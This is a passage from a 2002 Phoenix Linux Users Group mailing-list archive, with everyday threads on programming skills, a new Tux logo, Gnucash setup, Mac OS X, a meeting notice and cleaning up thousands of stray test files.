> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > Mark Phillips> Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:58:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 20 Jun 2002 16:58:56 -0700 (PDT) Subject: Help getting experience Message-ID: <20020620235856.30797.qmail@web10601.mail.yahoo.com> This would be a question to all the programmers out there who are actually programming for a living. What would be a good 'knowledge set' for wanna-be programmers? Here is my list. Please correct me if I'm wrong, or please add to the list. I think anyone who works with computers will one-day have to look at source-code 1. Variable Types 2. Arrays (and how to manipulate them) 3. Selection Statements (if/then/select case) 4. Loops (for, next ,do while, while etc...) 5. 'Intrinsic functions ' (ie...Math.Square()--ie Java) - various String functions as well as math 6. functions - and the differences between them and proceedures 7. Algorithm development 8. Object-Oriented Programming (information hiding, polymorhism, inheritance etc..) Please add to list if necessary... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:17:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Thu, 20 Jun 2002 17:17:52 -0700 Subject: Apple has some big brass ones! In-Reply-To: References: Message-ID: <20020620171752.7d5ab2b2.snoogans@qwest.net> is there a quicktime plugin for mozilla? because i cant find a way to see the adds =/ On Thu, 20 Jun 2002 10:06:09 -0700 "Jeffrey Pyne" wrote: > It's actually a whole series of ads. They're testimonials from "real > people" (a writer, an artist, etc.) who hated their PCs and switched to a > Mac. You can see more of the ads at http://www.apple.com/switch/ads. I > think the campaign is pretty clever. > > ~Jeff > > On Wednesday, June 19, 2002 11:17 PM, robert jorgenson wrote: > > > i dont know if anyone has seen it yet but apple has a new > > commercial out. Its basically a guy who says hes a windows > > LAN admin talking about how muh better OSX is than windows. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:26:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 17:26:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201616.36289.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> Message-ID: <200206201726.50570.zen2now@qwest.net> well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:39:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 20 Jun 2002 17:39:48 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 is there a master format you can post? such as a PNG, PSD, etc. with layers and sprites intact? "Black holes are where God divided by zero." -- Steven Wright matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr Sent: Thursday, June 20, 2002 5:27 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new > image. Austin is done with the complete re-draw of Tux, and i must > say it is the most beautiful computer generated Tux image i have > ever seen. the lines are so clean, and aliasing is non-existent on > the edges and should remain that way no matter how big or small the > image is. he would have already been done with it, but our CEO has > slammed him with a lot of work. so hopefully by next week sometime > we will have a complete vector image, and by looks of it so far, > one we will all be very proud to hang across our upper torso's. :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z NHVf8BG+YOR87OAQxXS7VtaB =rRqv -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 00:58:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 19:58:49 -0500 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net>; from zen2now@qwest.net on Thu, Jun 20, 2002 at 05:26:50PM -0700 References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <20020620195849.A94552@lilly.csoft.net> BEAUTIFUL :-) When can I pick up a t-shirt? :-) On Thu, Jun 20, 2002 at 05:26:50PM -0700, slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:28:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 18:28:01 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <200206190037.18890.plug@the-arcanum.org> References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <20020620182801.73f0e53e.dickson@permanentmail.com> On Wed, 19 Jun 2002 00:37:18 -0700, Nathan England wrote: > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? I installed 1.6.6 from the RH 7.3 RPMs (plus 2 or 3 more supporting RPMs). slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is not part of Scheme (or so I believe from my recent reading). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 01:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 20 Jun 2002 18:34:50 -0700 Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> References: <200206201616.36289.zen2now@qwest.net> <200206201726.50570.zen2now@qwest.net> Message-ID: <200206210135.VAA15936@hostinworld6.com> If we can, we should offer that as a kde/gnome/enlightenment/etc backround at the installfest. That is excellent. On 20 Jun 2002 17:26:50 -0700, slr wrote: > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:05:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Thu, 20 Jun 2002 19:05:03 -0700 Subject: Apple has some big brass ones! In-Reply-To: <20020620171752.7d5ab2b2.snoogans@qwest.net> References: <20020620171752.7d5ab2b2.snoogans@qwest.net> Message-ID: <200206201905.08047.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 17:17, robert jorgenson wrote: > is there a quicktime plugin for mozilla? because i cant find a way to see > the adds =/ You could always try xine (http://xine.sourceforge.net/). They claim to have (limited) Sorenson support, now. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EonSpNoctRtUIRQRAn/dAJ9biK3I3aAsClTjUz66CqdWfY+mFwCggb6J hiblLdSbjjhgfrEmzspfrrs= =Rmzt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:20:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 22:20:21 -0400 Subject: Help getting experience References: <20020620235856.30797.qmail@web10601.mail.yahoo.com> Message-ID: <3D128D65.C0DC64E9@georgetoft.com> 9. How to use properties files, and secure them from prying eyes. 10. How to avoid buffer overruns and buffer underruns. 11. How to idiot check user input. 12. How to conduct boundary tests. 13. Write code assuming multiple instances of the app are running concurrently. 14. How to avoid deadlocks on files and database records. 15. How to connect to remote services. 16. How to build relational database data models and issue SQL statements, up to 3rd normal form. 17. Learn how to hardcode nothing that could possibly change (box names, user id's, domain names, etc). 18. Understand ACL's - solving your database access problems by sticking an anonymous ACL on it is not a viable solution. 19. Document your code before/during duild, because you won't have time (or energy) to go back later. Then the poor sap that follows you will look at your crappy code and spin his wheels trying to figure out what you did. And now for the soft science: 20. If you don't understand the requirement, ask. Don't make an assumption, because, eventually, you will be wrong, and then you have to explain to the customer (or the business group) why you are a moron and can't read English and build a product to written specifications. 21. Have your piers review your code. Take criticism. Realize that as a monopoly (only person providing code), your code sucks. Only with pier review can you grow and build good code. Bonus: Figure out the difference between: if (a == "something") { blah } and if (a.equals("something")) { blah } (hint: one works, the other doesn't - both compile without error) Just a few thoughts off the top of my head. Regards, George Alpha Zenon Sanchez wrote: > > This would be a question to all the programmers out > there who are actually programming for a living. > > What would be a good 'knowledge set' for wanna-be > programmers? Here is my list. Please correct me if > I'm wrong, or please add to the list. I think anyone > who works with computers will one-day have to look at > source-code > > 1. Variable Types > 2. Arrays (and how to manipulate them) > 3. Selection Statements (if/then/select case) > 4. Loops (for, next ,do while, while etc...) > 5. 'Intrinsic functions ' (ie...Math.Square()--ie > Java) > - various String functions as well as math > 6. functions - and the differences between them and > proceedures > 7. Algorithm development > 8. Object-Oriented Programming > (information hiding, polymorhism, inheritance > etc..) > > Please add to list if necessary... > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:25:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:25:30 -0400 Subject: Plug Logo Update Message-ID: It is beautiful, but... The saguaro cactus is very well known and both easily recognized and automatically associated with Arizona. I think it is a mistake to change the cacti in the logo to some other species. I would like to see it as majestic saguaro cacti so our logo graphically announces our location in Arizona. Alan On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: well austin is the man, he is done. so for all you guys and gals who are interested. you can view the image @ http://www.zen2now.com/tux/tux_wallpaper.jpg and of coarse feed back is welcome, just be nice. :~D slr On Thursday 20 June 2002 04:16 pm, slr wrote: > I just wanted to give you guys an update on the progress of the new image. > Austin is done with the complete re-draw of Tux, and i must say it is the > most beautiful computer generated Tux image i have ever seen. the lines are > so clean, and aliasing is non-existent on the edges and should remain that > way no matter how big or small the image is. he would have already been > done with it, but our CEO has slammed him with a lot of work. so hopefully > by next week sometime we will have a complete vector image, and by looks of > it so far, one we will all be very proud to hang across our upper torso's. > :~D > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:26:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 22:26:52 -0400 Subject: Off-topic... Message-ID: We talk about *BSD often enough, why not OSX? Alan PS Welcome back, Jiva. On Thu, 20 Jun 2002 16:24:14 -0700 Jiva DeVoe wrote: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:48:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 19:48:11 -0700 (PDT) Subject: Plug Logo Update In-Reply-To: <200206201726.50570.zen2now@qwest.net> Message-ID: <20020621024811.23743.qmail@web13403.mail.yahoo.com> --- slr wrote: > well austin is the man, he is done. so for all you > guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. > :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the > progress of the new image. > > Austin is done with the complete re-draw of Tux, > and i must say it is the > > most beautiful computer generated Tux image i have > ever seen. the lines are > > so clean, and aliasing is non-existent on the > edges and should remain that > > way no matter how big or small the image is. he > would have already been > > done with it, but our CEO has slammed him with a > lot of work. so hopefully > > by next week sometime we will have a complete > vector image, and by looks of > > it so far, one we will all be very proud to hang > across our upper torso's. > > :~D > > > > slr That is really slick. The only thing that I see, and maybe I might be wrong on this, is that it says "Phoenix Linux User Group". Should it be "Phoenix Linux Users Group". Missing an S? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 02:55:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Thu, 20 Jun 2002 19:55:40 -0700 Subject: Gnucash 1.6.6 In-Reply-To: <20020620182801.73f0e53e.dickson@permanentmail.com> References: <200206190037.18890.plug@the-arcanum.org> <20020620182801.73f0e53e.dickson@permanentmail.com> Message-ID: <20020620195540.02e0d161.dickson@permanentmail.com> On Thu, 20 Jun 2002 18:28:01 -0700, Paul Dickson wrote: > slib comes from the umb-scheme RPM. /usr/share/guile/slib is a symlib to > /usr/share/umb-scheme/slib. slib is a standard library for Scheme, but is > not part of Scheme (or so I believe from my recent reading). You can also go to http://www.swiss.ai.mit.edu/~jaffer/SLIB.html and download the latest version. -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:08:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 20:08:10 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 20. Jun, 2002 schwätzte Jiva DeVoe so: > So sue me... I know there's some other Mac OSX users on here... Anyone > besides me into coding on OSX? Or interested in learning about it? Email > off-list since this is off topic. :) (Though it IS an Open-source Unix > based OS) It's *mostly* *BSD, so it's *almost* not off-topic :). It does some funky-add mac stuff, but there's still *BSD in there somewhere and we allow *BSD stuff... We'll ( Frenchie, that is ) even be willing to help install *BSD Sat. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:08:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 22:08:08 -0700 (MST) Subject: [PLUG-announce]Jun west-side meeting Message-ID: moin, moin, Jim will give the presentation for the June meeting at GCC ( next Tue ). The topic will be a review of the InstallFest. 19:00 at GCC in the Hich Tech 1 teleconference room. Check the web site, http://PLUG.phoenix.az.us/, for a map and driving directions. ciao, der.hans -- # https://www.LuftHans.com/ # A Polish friend of mine got an offer for a free account from AOL. The # login ID was "HELLO" and the passwd "CYMBAL". She says "cymbal" is # Polish for "sucker". "Hello sucker" a greeting from AOHell :). _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:26:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:26:36 -0700 Subject: oops... to many files and can't clean up... Message-ID: <3D129CEC.89B04388@leml.asu.edu> ummm.... I have a unit and regression test suite for my ecological modeling virtual machine. I needed to bump up one of the tests to run for a longer time for model testing. Problem was that I forgot that I am creating an image dump for *every* variable specified each and every iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images for umm... looks like 8 variables, and there are 15 other unit tests... So now I find that I have over 25,000 files in a single directory. oops. Ok, off to clean them up.... First, ls and rm complain that there are to many files to "rm *.pgm", so I go though and delete them by group name... ok, appears to go ok. Now I am finally able to "rm *.pgm" so they should be clean up. Problem is that once I do that I still have hundreds of pgm files in the directory that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I have corrupted the file system or something. any suggestions? thoughts: shut down the machine, reboot single user, fsck ever partition (including XFS partions), and recite some prayer to Boolean... other ideas, thoughts, intuitions as to what happens when creating 10's of thousands of files in a single directory by accident? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 03:34:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 20:34:43 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> Message-ID: <3D129ED3.62C3CC27@leml.asu.edu> sorry to reply to my own message, but a quick update... I went to another xterm and tried get a second look at things. From there I was able to see and remove the rest of the files (no idea what happend to that one xterm to muck with ls/rm). Anyway, things are cleaned up, and that even seemed to fix things in the original xterm that was causing the problems... I may well still reboot and FSCK... Any idea what could have screwed up? I remember that there used to be a limit of 10,000 files/directory or inode. That is why I was originally concerned with having more than 2.5 times that in a single directory. EBo -- "John (EBo) David" wrote: > > ummm.... > > I have a unit and regression test suite for my ecological modeling > virtual machine. I needed to bump up one of the tests to run for a > longer time for model testing. Problem was that I forgot that I am > creating an image dump for *every* variable specified each and every > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > for umm... looks like 8 variables, and there are 15 other unit tests... > > So now I find that I have over 25,000 files in a single directory. > oops. Ok, off to clean them up.... > > First, ls and rm complain that there are to many files to "rm *.pgm", so > I go though and delete them by group name... ok, appears to go ok. Now > I am finally able to "rm *.pgm" so they should be clean up. Problem is > that once I do that I still have hundreds of pgm files in the directory > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > have corrupted the file system or something. > > any suggestions? > > thoughts: > > shut down the machine, reboot single user, fsck ever partition > (including XFS partions), and recite some prayer to Boolean... > > other ideas, thoughts, intuitions as to what happens when creating 10's > of thousands of files in a single directory by accident? > > EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:26:42 -0700 Subject: Plug Logo Update In-Reply-To: <20020621024811.23743.qmail@web13403.mail.yahoo.com> References: <20020621024811.23743.qmail@web13403.mail.yahoo.com> Message-ID: <200206202126.42756.zen2now@qwest.net> it does flow better with an S, but that is how it is on the PLUG website. but no biggy, it will be an easy change. slr On Thursday 20 June 2002 07:48 pm, bob smith wrote: > --- slr wrote: > > well austin is the man, he is done. so for all you > > guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. > > > > :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the > > > > progress of the new image. > > > > > Austin is done with the complete re-draw of Tux, > > > > and i must say it is the > > > > > most beautiful computer generated Tux image i have > > > > ever seen. the lines are > > > > > so clean, and aliasing is non-existent on the > > > > edges and should remain that > > > > > way no matter how big or small the image is. he > > > > would have already been > > > > > done with it, but our CEO has slammed him with a > > > > lot of work. so hopefully > > > > > by next week sometime we will have a complete > > > > vector image, and by looks of > > > > > it so far, one we will all be very proud to hang > > > > across our upper torso's. > > > > > :~D > > > > > > slr > > That is really slick. The only thing that I see, and > maybe I might be wrong on this, is that it says > "Phoenix Linux User Group". Should it be "Phoenix > Linux Users Group". Missing an S? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:52:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Thu, 20 Jun 2002 23:52:53 -0500 (CDT) Subject: Plug Logo Update In-Reply-To: Message-ID: Is it just me or is teh Phoenix Linux on top not centered properly? Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has vector tux on his website already, also Larry does 'own' Tux, though he is very generous and general just asks if you use Tux for merchandise that you just provide him a piece of the merchandise for his 'collection'. -Derek On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 20 Jun 2002 21:55:43 -0700 (MST) Subject: openoffice.org ready for prime time? Message-ID: As seen on /. NY Times, June 20, 2002, OpenOffice.org: "The world waited for a contender that was so compelling, people might actually consider filing for Microsoft divorce. Now there is one. It's called OpenOffice, and it has a killer feature: it's free. " http://www.nytimes.com/2002/06/20/technology/circuits/20STAT.html free registration required ... - t From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:57:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:57:37 -0700 Subject: Plug Logo Update References: Message-ID: <000b01c218e0$29ec5410$2f7c0d82@peyote> for that i will have to ask, Mr. Austin how he would feel about posting the master somewhere. he has donated his time to this project, so i dont think he would have a problem with it. slr ----- Original Message ----- From: "Matt Wyant" To: Sent: Thursday, June 20, 2002 5:39 PM Subject: RE: Plug Logo Update > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > 